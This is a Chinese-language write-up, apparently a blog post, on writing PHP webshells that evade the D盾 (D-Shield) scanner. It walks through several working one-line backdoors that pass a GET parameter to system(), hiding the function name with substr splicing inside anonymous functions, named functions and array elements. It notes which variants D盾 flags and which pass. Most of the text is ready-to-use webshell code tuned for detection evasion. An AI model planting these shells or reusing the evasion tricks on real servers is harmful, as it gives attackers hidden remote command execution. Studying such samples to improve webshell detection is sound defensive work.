之前看了smile大佬的webshell绕过,跟着smile大佬的思路,自己来挖掘了一下绕过D盾的方式
附上链接
这篇文章中,smile大佬提到了非常多的绕过D盾方式,我就不重复了,我在这里主要是利用了匿名函数来绕过D盾
在p神的博客中,找到了这么一个图片
https://www.leavesongs.com/PENETRATION/dynamic-features-and-webshell-tricks-in-php.html
对常见的webshell进行了一下分类,我主要是利用了一个system 构造了一种命令型的webshell,
匿名函数
匿名函数也叫闭包函数,允许临时创建一个没有名字的函数,经常用作回调函数
<?php $greet = function($name) { eval($name); }; $greet($_GET['name']);会被D盾检测出来,已知后门,这里参数$name是动态获取的,但是eval不是,并且eval是一个语言构造器,不是函数,不能被可变函数调用,所以改eval为system
把函数改成动态获取的形式
<?php $greet = function($method,$arg) { $method($arg); }; $greet($_GET['method'],$_GET['arg']);会报一个级别1的风险
尝试把两个GET参数都放到函数内,再加一个substr混淆
<?php $greet = function($arg) { $method='sysatem'; (substr($method,0,3).substr($method, 4))($_GET['arg']); }; $greet(); ?>这次还是报了一个变量函数
到这就明白了 应该是$greet这个变量函数被D盾检测出来了,不是参数的原因,再进一步分析,应该是$greet() 被当作了可变函数,导致了被D盾检测出来
echo绕过用echo括号绕过一下
<?php $greet = function() { $method='sysatem'; (substr($method,0,3).substr($method, 4))($_GET['arg']); }; echo ($greet)(); ?>
改匿名函数为普通函数
刚刚前面的检测是因为可变函数,导致了webshell被检测,直接用普通的函数,不使用匿名函数
<?php function greet() { $method='sysatem'; (substr($method,0,3).substr($method, 4))($_GET['arg']); }; greet(); ?>
再加一个中间值$a
<?php function greet() { $method='sysatem'; (substr($method,0,3).substr($method, 4))($_GET['arg']); }; $a='greet'; echo ($a)(); ?>
依然能够绕过
改变量为数组匿名函数可以赋值给一个变量,同样也可以赋值给数组中的一个元素
<?php $array['func'] = function(){ $method='sysatem'; (substr($method,0,3).substr($method, 4))($_GET['arg']); }; $array['func']();D盾爆出可变函数